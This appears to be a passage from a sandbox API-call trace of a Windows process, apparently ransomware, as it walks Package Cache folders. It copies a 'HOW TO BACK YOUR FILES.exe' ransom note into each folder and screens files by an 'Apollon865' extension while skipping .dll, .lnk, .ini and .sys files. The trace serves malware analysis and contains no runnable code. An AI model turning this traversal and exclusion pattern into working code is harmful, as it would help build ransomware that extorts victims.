	[0038.829] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.829] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.833] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.833] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.833] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.833] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.833] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0038.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0038.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x59a578
	[0038.833] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd30
	[0038.833] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0038.833] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.834] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd50
	[0038.834] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages"
	[0038.834] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a578 | out: hHeap=0x580000) returned 1
	[0038.834] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0038.834] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned 92
	[0038.834] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages"
	[0038.834] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.834] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.839] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.839] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.839] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.839] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.839] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="vcRuntimeAdditional_amd64" | out: lpString1="vcRuntimeAdditional_amd64") returned="vcRuntimeAdditional_amd64"
	[0038.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0038.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xee) returned 0x59a578
	[0038.839] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd30
	[0038.839] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0038.839] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.839] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd50
	[0038.839] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64"
	[0038.839] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a578 | out: hHeap=0x580000) returned 1
	[0038.840] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0038.840] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned 118
	[0038.840] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64"
	[0038.840] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.840] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.846] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.846] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.846] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.846] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.846] lstrcpyW (in: lpString1=0x2d3e63e, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0038.846] lstrlenW (lpString="cab1.cab") returned 8
	[0038.846] lstrlenW (lpString="Apollon865") returned 10
	[0038.846] lstrlenW (lpString=".dll") returned 4
	[0038.846] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0038.846] lstrlenW (lpString=".lnk") returned 4
	[0038.846] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0038.846] lstrlenW (lpString=".ini") returned 4
	[0038.846] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0038.846] lstrlenW (lpString=".sys") returned 4
	[0038.846] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0038.846] lstrlenW (lpString="cab1.cab") returned 8
	[0038.847] lstrcpyW (in: lpString1=0x2d3e63e, lpString2="vc_runtimeAdditional_x64.msi" | out: lpString1="vc_runtimeAdditional_x64.msi") returned="vc_runtimeAdditional_x64.msi"
	[0038.847] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0038.847] lstrlenW (lpString="Apollon865") returned 10
	[0038.847] lstrcmpiW (lpString1="al_x64.msi", lpString2="Apollon865") returned -1
	[0038.847] lstrlenW (lpString=".dll") returned 4
	[0038.847] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".dll") returned 1
	[0038.847] lstrlenW (lpString=".lnk") returned 4
	[0038.847] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".lnk") returned 1
	[0038.847] lstrlenW (lpString=".ini") returned 4
	[0038.847] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".ini") returned 1
	[0038.847] lstrlenW (lpString=".sys") returned 4
	[0038.847] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".sys") returned 1
	[0038.847] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0038.847] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0038.847] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a4c8 | out: hHeap=0x580000) returned 1
	[0038.847] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0038.847] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 82
	[0038.847] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0038.847] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.847] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.853] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.853] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.853] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.854] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.854] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0038.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0038.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0038.854] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fd10
	[0038.854] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0038.854] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.854] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd30
	[0038.854] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0038.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0038.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0038.854] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned 91
	[0038.854] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0038.854] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.854] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.859] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.859] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.859] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.859] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.859] lstrcpyW (in: lpString1=0x2d3e608, lpString2="vcRuntimeMinimum_amd64" | out: lpString1="vcRuntimeMinimum_amd64") returned="vcRuntimeMinimum_amd64"
	[0038.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0038.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe6) returned 0x59a4c8
	[0038.859] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fd10
	[0038.859] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0038.859] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.860] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd30
	[0038.860] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64"
	[0038.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a4c8 | out: hHeap=0x580000) returned 1
	[0038.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0038.860] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned 114
	[0038.860] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64"
	[0038.860] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.860] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.865] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.865] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.866] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.866] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.866] lstrcpyW (in: lpString1=0x2d3e636, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0038.866] lstrlenW (lpString="cab1.cab") returned 8
	[0038.866] lstrlenW (lpString="Apollon865") returned 10
	[0038.866] lstrlenW (lpString=".dll") returned 4
	[0038.866] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0038.866] lstrlenW (lpString=".lnk") returned 4
	[0038.866] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0038.866] lstrlenW (lpString=".ini") returned 4
	[0038.866] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0038.866] lstrlenW (lpString=".sys") returned 4
	[0038.866] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0038.866] lstrlenW (lpString="cab1.cab") returned 8
	[0038.866] lstrcpyW (in: lpString1=0x2d3e636, lpString2="vc_runtimeMinimum_x64.msi" | out: lpString1="vc_runtimeMinimum_x64.msi") returned="vc_runtimeMinimum_x64.msi"
	[0038.866] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0038.866] lstrlenW (lpString="Apollon865") returned 10
	[0038.866] lstrcmpiW (lpString1="um_x64.msi", lpString2="Apollon865") returned 1
	[0038.866] lstrlenW (lpString=".dll") returned 4
	[0038.866] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".dll") returned 1
	[0038.866] lstrlenW (lpString=".lnk") returned 4
	[0038.866] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".lnk") returned 1
	[0038.866] lstrlenW (lpString=".ini") returned 4
	[0038.866] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".ini") returned 1
	[0038.866] lstrlenW (lpString=".sys") returned 4
	[0038.866] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".sys") returned 1
	[0038.866] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0038.867] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0038.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a430 | out: hHeap=0x580000) returned 1
	[0038.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0038.867] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 71
	[0038.867] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0038.867] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.867] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.873] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
